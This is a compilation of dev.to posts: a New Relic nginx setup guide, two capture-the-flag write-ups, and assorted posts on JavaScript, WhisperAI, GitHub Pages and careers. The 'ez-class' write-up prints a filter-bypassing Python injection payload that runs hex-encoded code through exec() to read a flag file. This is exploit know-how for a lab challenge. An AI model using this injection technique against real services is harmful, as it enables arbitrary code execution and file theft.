teleren/devto huggingface dataset:
Guide: Installing New Relic Agent on Nginx
Tags: newrelic, nginx, monitoring
Published: 2023-03-20 17:53:06

---
title: Guide: Installing New Relic Agent on Nginx
published: true
description: A short guide on how to install New Relic agent on Nginx.
tags: newrelic, nginx, monitoring
# cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zqbvipmmglf1vm8bplso.jpg
# Use a ratio of 100:42 for best results.
# published_at: 2023-03-20 17:18 +0000
---

I was so excited when setting up New Relic. The tool seemed so fresh and slick! 

Everything was going smoothly until I started to setup nginx agent. The process has been finished, but there was an error.

```
⊘  NGINX Open Source Integration  (unsupported)
  Installation incomplete. Follow the instructions at the URL below to complete the installation process.
```

This happened on every machine 😕
Re-installing did no help 😕
The docs they offered were too messy and also did not help 😕
I started to search their forum. It turns out to be a popular problem. The only solution they offered is to contact support. But I need to pay before getting access to support. Such a shame! 😤

So I spend a few hours with ChatGPT and a barrel of coffee and figured it out. Here is a step-by-step guide on how to install a New Relic agent on your nginx.

## The guide

1) Proceed with the agent install process as they say in the docs.

Use the generated cURL link to install the New Relic agent. Then install the nginx agent: `sudo apt install nri-nginx`.

2) Throw in those to create a config file.
```
cd /etc/newrelic-infra/integrations.d
sudo cp nginx-config.yml.sample nginx-config.yml
sudo cp /etc/newrelic-infra/logging.d/nginx-log.yml.example /etc/newrelic-infra/logging.d/nginx-log.yml
```

3) Check if your nginx has the required monitoring module called `http_stub_status_module`.

```
nginx -V 2>&1 | grep -o with-http_stub_status_module
```
If your nginx does not have it, get it. Mine had.

4) Change the status URL:
```
cd /etc/newrelic-infra/integrations.d
sudo nano nginx-config.yml
```

Set STATUS_URL to something like this:

`STATUS_URL: https://my-domain.com/status` where `my-domain.com` is a domain from your nginx config.

5) Restart it.
```
sudo systemctl restart newrelic-infra
```

6) Add the status page and **the IP of your server**:

```
cd /etc/nginx/sites-enabled && nano default
```

```
server {
    # other stuff
    server_name my-domain.com;    
    
    location /status {
        stub_status on; 
        access_log off;
        allow 1.1.1.1; # set your server IP here 🚨
    }
    # other stuff
}
```

7) Reload nginx:

```
sudo service nginx reload
```


Go to New Relic and have fun.
ez-class
Published: 2023-03-20 17:46:12

> _Originally written by Max_

### First analysis

It seems we can write a class to a file, and open that class.
But we also have restrictions on what we can write that are applied when input gets validated by `get_legal_code`.
When running and selecting `1. Write new class` we are prompted with

- `{class name}`
- `{parent}`
- `{number of methods}`
- for each method:
  - `{name{i}}`
  - `{params{i}}`
  - `{body{i}}`

and out class will look like:

```
class {class name}({parent}):
  def {name{1}}({params{1}}):
    {body{1}}

  def {name{2}}({params{2}}):
    {body{2}}
  ...
```

In `exec_class()` our class gets printed, so `my_class.__repr__()` gets run to get it's string representation.

### Resolution

Since we can not write parentheses we want to highjack some.
If we can remove `def` in `def {name{2}}({params{2}}):` we would get closer to calling any funciton with any parameter.
Fortunatley there are multiline strings, so now our payload looks like:

```
class MyClass():
  def __repr__(self): # gets called when `exec_class` is called
    a="""

  def """;exec({params{2}}):
    {body{2}}
```

We still have a problem:
the colon at the end of `def {name{2}}({params{2}}):` gives us a syntax error since it is not valid python code.
This can be fixed by making it look like we are using that result to index an array, since `[][f(x):2]` is valid python code

```
class MyClass():
  def __repr__(self): # gets called when `exec_class` is called
    a="""

  def """;[][exec({params{2}}):
    2]
```

great, we can call any function!
now we just put `"print(open('/tmp/flag.txt').readlines())"` as a hexstring into `{params{2}}` to avoid parentheses invalidating our payload and we have our evil class

```python
class MyClass():
  def __repr__(self): # gets called when `exec_class` is called
    a="""

  def """;[][exec("\x70\x72\x69\x6e\x74\x28\x6f\x70\x65\x6e\x28\x27\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29\x2e\x72\x65\x61\x64\x6c\x69\x6e\x65\x73\x28\x29\x29"):
    2]
```

By writing such class, then selecting `2. Run class` and providing the class name we get the `__repr__` method to be run that in turn runs the `exec` which prints the file and we get the flag!
S3 Image resizer - an alternative way to handle thumbnails
Published: 2023-03-20 17:46:08

It is a very common approach to store images on S3 - it is cheaper and helps you to forget about the pain of continuously adding space on your server. However, there is no solution out of the box to convert, crop, resize, and optimize images. If you try to search for a solution - you could probably find a "Lambda function" approach, mostly for AWS and some paid services.

Let me introduce an alternative way - a free, open-source solution to resize and optimize images on the fly from any S3 provider (not just AWS): [github.com/kirill-zhirnov/s3-image-resizer](https://github.com/kirill-zhirnov/s3-image-resizer)

It is a web service, which resizes images by query params, e.g.:

`http://localhost:3000/thumb/<local path on the S3>?mode=scale&max-size=500`

Generates a scaled thumbnail with 500px size. The service is based on Node.js (Express/Typescript) and Imagick. All available query parameters could be found on the GitHub page.

On a request, the service fetches an image from S3 and generates a thumbnail with Imagick (executes CLI). The resulting image can be stored for caching purposes.

This approach:

- Handle correctly images with Exif orientation (e.g. a photo saved in the landscape, but portrait should be used)

- Can resize images of any size (even a big one, without memory limit issue)

- Works fast

- Can be easily extended

- Works with any S3-based hostings

The service can be launched with Docker - it already has all the configs - just create a .env file and run.

The project was created as a part of boundless-commerce.com project. If you like the idea - please support us with a start on GitHub:

[NextJS Ecommerce Template](https://github.com/kirill-zhirnov/boundless-nextjs-ecommerce-template)
Improve performance using javascript Maps
Tags: javascript, webdev, programming
Published: 2023-03-20 17:45:31

The Map data structure stores key-value pairs and remember the order in which the keys were inserted. Any value, whether an object or a primitive value, can be used as either a key or a value.

### Implementing a memoization cache for a function

Memoization is a programming optimization technique that makes applications more efficient and thus faster. It accomplishes this by caching computation results and retrieving that same information from the cache the next time it is required rather than computing it again.

```javascript
function expensiveOperation(arg) {
  // simulate an expensive computation
  return new Promise(resolve => setTimeout(function() {
    resolve(arg + 1)
  }, 5000))
}

const cache = new Map()

async function memoizedFunction(arg) {
  if (cache.has(arg)) {
    return cache.get(arg)
  }

  const res = await expensiveOperation(arg)
  cache.set(arg, res)
  return res
}

(async function() {
  console.time('1st operation')
  console.log(await memoizedFunction(58)) // 59
  console.timeEnd('1st operation') // 5.007s
  console.time('2nd operation')
  console.log(await memoizedFunction(58)) // 59 from cache
  console.timeEnd('2nd operation') //0.064ms
})()
```
[Read full article](https://squacky.com/post/getting-started-with-javascript-map)
When to Go to a Psychologist?
Tags: psychologis, psychology
Published: 2023-03-20 17:17:51

Life difficulties, stresses, grief - all these are frequent phenomena in modern society. However, not all people can cope with them on their own. It is not surprising that more and more people are looking for help from psychologists and psychotherapists.

One of the first questions that arises in people who want to turn to a professional is to understand when to go to a psychologist. The answers to this question for each person are individual.

If you have experienced a strong stress that lasts a long time, you cannot solve the conflicts that excite you and there is a need to understand your feelings and actions, then you should probably turn to a psychologist. In addition, there is nothing wrong with trying to avoid problems that can turn into serious.

The team of professionals from the Center for Psychological Assistance "Best Life" offers their help in solving life problems. The center has experienced specialists who are ready to provide a wide range of services suitable for any person. You can make decisions much more efficiently, set goals for yourself and then achieve them, and, most importantly, enjoy life!
VS Code Pets!
Tags: vscode, productivity
Published: 2023-03-20 17:11:47

Increase your productivity and happiness with the VSCode Pets extension!

A fun extension that adds pets to your VSCode editor. Never be lonely again while working remote. 

https://marketplace.visualstudio.com/items?itemName=tonybaloney.vscode-pets

{%embed https://www.youtube.com/shorts/FdZoEWxviWU %}
padlock
Published: 2023-03-20 17:11:38

### Challenge description

> Mindblown by ioccc? How can someone write programs like this... Anyway, try open this padlock :)
>
> Author: bronson113

### First analysis

The source code is a C program that prints itself.
It's a quine, a program that prints its own source code.

If we compile the program and run it, we are welcomed by a

```
zsh: segmentation fault  ./quine
```

Maybe it needs some arguments? Let's try with `./quine 1`:

```
//X
...
```

I won't repeat the program source code here, but keep in mind that when I put ... it means that the source code of the program is repeated.

Let's try with a bigger number, like `./quine 1000`:

```
//XXXX
...
```

So the program does print a variable number of Xs somewhat depending on the argument.
Let's try with `./quine abcd`:

```
//XXXX
...
```

The output is the same, so the number of Xs depends only on the length of the argument.

With the help of a little python, we can find that sometimes, instead of an `X`, the program prints an `O`.
For example, with `./quine b`:

```
// O
```

The first idea was to bruteforce the flag, but as the number of Xs and Os could be > 10, it could take a long time.
So I decided to try to find a pattern in the output.

### Finding the pattern

I wrote a python script that prints the output of the program for strings of N chars made of the same char, for every char.

```
$ ./quine aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
//XXXXXXXXXXXXXXXXXXOXXXXXXXXXXX
...
```

```
$ ./quine bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
//OXXXXXXXXXXXXXXXXXXOXXXXXXXXXX
...
```

The pattern starts to emerge. We get an O when the char is the same as the flag char on that position. We get an X when the char is different from the flag char on that position.

### Finding the flag

Now that we know the pattern, we can find the flag. We just need to bruteforce every letter and keep the one in the positions where we get an O.

```python
import subprocess
import string

CHAR_N = 70
flag = [""] * CHAR_N

for ch in string.printable:
    proc = subprocess.Popen(
        ["./quine", ch * CHAR_N], stdin=subprocess.PIPE, stdout=subprocess.PIPE
    )
    (stdout, stderr) = proc.communicate()

    line = stdout.decode().split("\n")[0][2:]
    print(line)

    for i, x in enumerate(line):
        if x == "O":
            flag[i] = ch

flag = "".join(flag)
print(flag)
```

and we get the flag:
`bctf{qu1n3_1s_4ll_ab0ut_r3p371t10n_4nD_m4n1pul4710n_OwO_OuO_UwU}`
¿Qué es GitHub Pages?
Tags: spanish, latam, opensource, github
Published: 2023-03-18 18:58:34

GitHub Pages es un servicio gratuito ofrecido por GitHub que permite a los usuarios alojar sitios web estáticos directamente desde sus repositorios de GitHub. Esto significa que cualquier usuario de GitHub puede publicar su propio sitio web sin tener que pagar por alojamiento web o preocuparse por la configuración del servidor.

Para empezar a utilizar GitHub Pages, los usuarios simplemente necesitan crear un nuevo repositorio en GitHub y agregar archivos HTML, CSS y JavaScript a su proyecto. Luego, pueden habilitar GitHub Pages en la configuración del repositorio y elegir una rama o carpeta para alojar su sitio web.

GitHub Pages también permite a los usuarios personalizar su sitio web utilizando plantillas de Jekyll, un generador de sitios web estáticos que se integra perfectamente con GitHub Pages. Los usuarios pueden elegir entre varias plantillas prediseñadas o crear la suya propia para personalizar completamente su sitio web.

Además, GitHub Pages también incluye características avanzadas como soporte para SSL, redirección de URL y análisis web. Los usuarios también pueden agregar su propio dominio personalizado para su sitio web, lo que les permite crear una presencia en línea única y profesional.

En resumen, GitHub Pages es una herramienta excelente para cualquier usuario que quiera crear un sitio web estático de manera rápida y fácil. Con su integración perfecta con GitHub y su amplia gama de características, GitHub Pages ofrece una solución de alojamiento web simple pero poderosa para cualquier persona que quiera compartir su trabajo en línea.
02 berufliches Vorwärtskommen: ist es dir wichtig
Tags: austausch, career, discuss, job
Published: 2023-03-20 17:03:41

Moin Moin,

ist dir berufliches Vorwärtskommen, also [Karriere↗](https://www.dwds.de/wb/Karriere), wichtig ?
( Falls ihr euch gerade fragt, was dazu gehört: [berufliches Vorwärtskommen: Was gehört für euch dazu ?→](https://dev.to/amustafa16421/01-berufliches-vorwartskommen-was-gehort-fur-dich-dazu-fb7) )

Meine Frage an dich lautet: 

> 
„Magst du es lieber wenn die Dinge so bleiben wie sie sind oder magst du es dich beruflich weiterzuentwickeln, lernst zu dem Zwecke neues und übernimmst auch neue Herausforderungen ?“

Was mich anbelangt, lerne ich eigentlich durchgehend. Zudem mag ich es mich neuen Herausforderungen zu stellen. Vor nicht allzu langer Zeit habe ich eine Anfängerin im Programmieren geschult. Dies steht für Juni wieder an, diesmal mit drei Interessenten. Es war eine sehr lehrreiche Erfahrung, die ich gerne, wie man sieht, wieder machen möchte.

> 
Also, lieber ein statisch oder ein dynamisch getyptes Berufsleben ;-)

Beste Grüße,
Mustafa
*CodeNewbie* Meme Monday
Tags: codenewbie, beginners, career
Published: 2023-03-20 16:58:27

Happy Monday y'all and welcome back to **CodeNewbie Meme Monday**. We are happy to see ya again over here on the DEV Community. 

As always, this is a humble call for NEWBIE-related memes! Drop your beginner-related, job-related, starting-a-new-career-related memes below! 

AND if it is your first time here welcome! Happy to have you in the thread!
Being a Developer Advocate: Week 25
Tags: devrel, learninpublic
Published: 2023-03-20 16:53:05

Last week I was at an in-person meetup again 🤯 This was a fun experience meeting Samuel Nitsche in person and also trying out the combination of recording a talk with a selfiesticktripod and an iPhone.

Turns out the video quality is awesome but the audio lacks when there is a loud AC in the background. With AI taking over the world my favourite tool DaVinci Resolve could help with that, but only in the Studio version. This might push me over the edge 😋

## Domain Modelling
We are getting serious with straightening out our Domain Model and also our Terminology. This means a lot of tedious renaming work in our Docs with the goal of creating a vocabulary that is consistent.

I strongly believe miscommunication is a very big problem in IT. With this initiative we hopefully will communicate more clearly internally and also externally!

## Getting Videos Out
With the logo finished for my upcoming short video series with tips and tricks about our product I started to create a short introduction sequence and uploading the finished videos to YouTube.

Creating the intro just with transitions and simple keyframes in Da Vinci Resolve and it looks appealing enough for me to publish it 😋

Uploading it to YouTube is another beast it seems. You have to take care of so many things:

* Thumbnail
* Engaging title
* Nice description with tracking links
* Cards in the videos and at the end
* Correct subtitles

For three videos it took me about two hours. And I have not created social posts yet 🥶

For subtitles I used WhisperAI and explained my setup in [a blog post](https://dev.to/johannesdienst/how-to-create-subtitle-files-srt-with-whisperai-3gk3).
How to Create Subtitle-Files (srt) with WhisperAI
Tags: programming, productivity, opensource, tutorial
Published: 2023-03-20 16:39:19

For my tutorial videos I want to provide high-quality subtitles. But I did not want to write them myself as this is a tedious task.

Luckily there is [WhisperAI](https://github.com/openai/whisper) that can help me, or so it promises 😂 Time to give it a shot for my current project.

## Install WhisperAI
I followed their installation guide on their GitHub-Repository side. It is a Python tool so the first step I did was setting up a virtual-environment (my current installed version is `3.9.6` on macOS. Here are all the commands I ran:

```shell
## I installed python with brew as far as I remember ;-)
## Initialize and activate the virtualenv
python3 -m venv venv
source venv/bin/activate

## Install latest WhisperAI from Github
pip install git+https://github.com/openai/whisper.git

## Install ffmpeg
brew install ffmpeg
```

## Create Util-Script for Easier Handling
With that set I created a little script based on [this Gist]( 
https://gist.github.com/yasinuygun/a5aaa24af9f5531872e4c6c863fd793f). It was for an older version of WhisperAI so I had to implement some changes. Save it as `createSrt.py` or whatever name you like 😋:

```python
import sys

import whisper
from whisper.utils import get_writer


def run(input_path: str, output_name: str = "", output_directory: str = "./") -> None:
    model = whisper.load_model("medium")
    result = model.transcribe(input_path)

    writer = get_writer("srt", str(output_directory))
    writer(result, output_name)

def main() -> None:
    if len(sys.argv) != 4:
        print(
            "Error: Invalid number of arguments.\n"
            "Usage: python createSrt.py <input-path> <output-name> <output-directory>\n"
            "Example: python createSrt.py transcribed.srt ./transcribed"
        )
        sys.exit(1)

    run(input_path=sys.argv[1], output_name=sys.argv[2], output_directory=sys.argv[3])


if __name__ == "__main__":
    main()
```

## Usage of Util-Script
You can call it like this and it can handle `.wav` and also `.mp4`. So you do not even have to export your videos in another format to use it:

`python createSrt.py <path to your mp4/wav file> <name of the srt file> <path to where to save the srt file>`

## Adjustments
If you want to use another model instead of medium you have to change the following line and replace medium with a model [documented here](https://github.com/openai/whisper#available-models-and-languages):

`model = whisper.load_model("medium")`

If you want to change the output format you can use one of the following instead of `srt`: `vtt`, `tsv`, `json`, `txt`. Change it in the following line:

`writer = get_writer("srt", str(output_directory))`

Happy transcribing 🦄
Comandos en el browser
Tags: productivity
Published: 2023-03-20 16:30:55

_A la próxima GDSC Lead._

El navegador nos hace super humanos! Permite que tengamos todo el conocimiento humano a tres o cuatro clicks de nosotros. Mover el mouse y darle click a una sección en una intefaz gráfica es un proceso muy tedioso. Por esto, utilizo el teclado! Los navegadores tienen métodos abreviados que ofrecen una experiencia más rápida y sencilla. A continuación les comparto los atajos de teclado que uso en mi día a día 😸✨:

| **Acción**                                    | **Comando**         |
|-----------------------------------------------|---------------------|
| Crear una nueva pestaña                       | CTRL + T            |
| Cerrar la pestaña actual                      | CTRL + W            |
| Moverse a la pestaña de la derecha            | CTRL + TAB          |
| Moverse a la primer pestaña                   | CTRL + 1            |
| Moverse a la última pestaña                   | CTRL + 9            |
| Abrir el historial                            | CTRL + H            |
| Abrir las descargas                           | CTRL + J            |
| Recargar la página actual                     | CTRL + R            |
| Moverse a la barra de direcciones             | CTRL + L            |
| Ir a la página anterior en la pestaña actual  | ALT + <=            |
| Ir a la página siguiente en la pestaña actual | ALT + =>            |
| Ampliar y reducir                             | CTRL + - y CTRL + + |
| Imprimir la página actual                     | CTRL + P            |

Ire actualizando la tabla con los comando que recuerde! Espero que hagan su navegación 10X.